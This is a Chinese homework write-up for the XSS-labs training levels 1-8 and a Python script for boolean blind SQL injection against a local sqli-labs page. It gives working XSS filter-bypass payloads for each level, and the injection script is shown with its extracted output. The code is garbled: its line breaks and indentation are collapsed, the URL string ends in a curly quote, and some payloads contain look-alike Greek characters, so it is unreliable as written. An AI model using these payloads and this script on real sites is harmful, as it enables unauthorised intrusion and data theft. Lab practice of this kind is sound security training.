XSS-labs 1-8关
作业一:XSS-labs 1-8关
闯关前准备工作如下:
环境搭建:使用PHPStudy部署
测试工具:Burp Suite(抓包)
下载 xss-labs,并解压后放到 phpstudy_pro 的 WWW 目录下,重命名为 xss-labs
之后访问 http://localhost/xss-labs/
Level 1(直接注入)
漏洞点:GET参数name未过滤直接输出到HTMLGET
Payload:
<script>alert('xss')</script>
原理:服务端未转义用户输入,直接拼接至<h2>标签中
Level 2(闭合属性值)
漏洞点:输入框的alue属性未过滤,但<h2>内容被转义
Payload:
"> <script>alert()</script> <"
技巧:闭合value的双引导,利用未过滤的输入点注入脚本
查看源代码
搜索框输入<script>alert()</script>没有成功
查看源码,输入的<script>alert()</script>在<input>标签的value中,需要">闭合
搜索框输入"><script>alert()</script>
Level 3(事件触发绕过)
漏洞点:<和>被转义,但单引号未过滤
Payload:
' onfocus=javascript:alert() '
原理:通过onfocus事件在输入框获得焦点时触发脚本。onfocus事件就是当输入框被点击的时候,就会触发myFunction()函数,然后我们再配合javascript伪协议来执行javascript代码
先输入<script>alert()</script>,查看网页源代码 发现符号被实体化了
利用onfocus事件绕过,输入框输入' οnfοcus=javascript:alert() ',再点击输入框
Level 4(双引号闭合)
漏洞点:双引号闭合属性值,过滤逻辑与Level 3相反。
Payload:
" onfocus=javascript:alert() "
技巧:调整引号类型以适应服务端过滤规则。
输入<script>alert()</script>,查看源代码,发现符号也被实体化了
利用onfocus事件绕过,双引号闭合,输入框输入" οnfοcus=javascript:alert() ",再点击输入框
Level 5(<a>标签利用)
漏洞点:on和script被过滤为o_n和scr_ipt
Payload:
"><a href="javascript:alert(1)">xss</a><"
绕过:利用<a>标签的href属性执行JavaScript伪协议。
点击xss
Level 6(大小写绕过)
漏洞点:关键字过滤未统一大小写。
Payload:
"><sCript>alert()</sCript><"
技巧:通过混合大小写绕过黑名单检测。
Level 7(双写绕过)
漏洞点:script被替换为空,但仅过滤一次。
Payload:
"><scscriptript>alert()</scscriptript><"
原理:双写敏感词使过滤后仍保留有效字符。
输入关键字" OnFocus <sCriPt> <a hReF=javascript:alert()>,查看网页源代码
采用双拼写绕过"><scscriptript>alert()</scscriptript>
Level 8(html 实体编码)
漏洞点:href属性自动解码Unicode。
Payload:javascript:alert(1)
输入javascript:alert()查看网页源码
javascript:alert(1)编码如下
输入javascript:alert(), 点击友情链接
作业二:python实现自动化sql布尔盲注(二分查找)
import requests
# 目标URL
url = "http://localhost/sqli-labs/Less-8/“
# 要推断的数据库信息(例如:数据库名)
database_name = ""
# 字符集(可以根据需要扩展)
charset = "abcdefghijklmnopqrstuvwxyz0123456789"
def get_database_length(): # 推断数据库名的长度length = 0while True:length += 1payload = f"1' AND (SELECT length(database()) = {length}) -- "response = requests.get(url, params={"id": payload})if "You are in..........." in response.text:return lengthif length > 50: # 防止无限循环breakreturn 0
# 使用二分查找推断数据库名
def get_database_name(length):db_name = ""for i in range(1, length + 1):left, right = 0, len(charset) - 1while left <= right:mid = (left + right) // 2char = charset[mid]payload = f"1' AND (SELECT substring(database(), {i}, 1) >= '{char}') -- "response = requests.get(url, params={"id": payload})if "You are in" in response.text:left = mid + 1else:right = mid - 1db_name += charset[right]return db_name
# 主函数
if __name__ == "__main__":length = get_database_length()if length > 0:print(f"数据库名长度: {length}")db_name = get_database_name(length)print(f"数据库名: {db_name}")else:print("无法确定数据库长度。")
输出结果
数据库名长度: 8
数据库名: security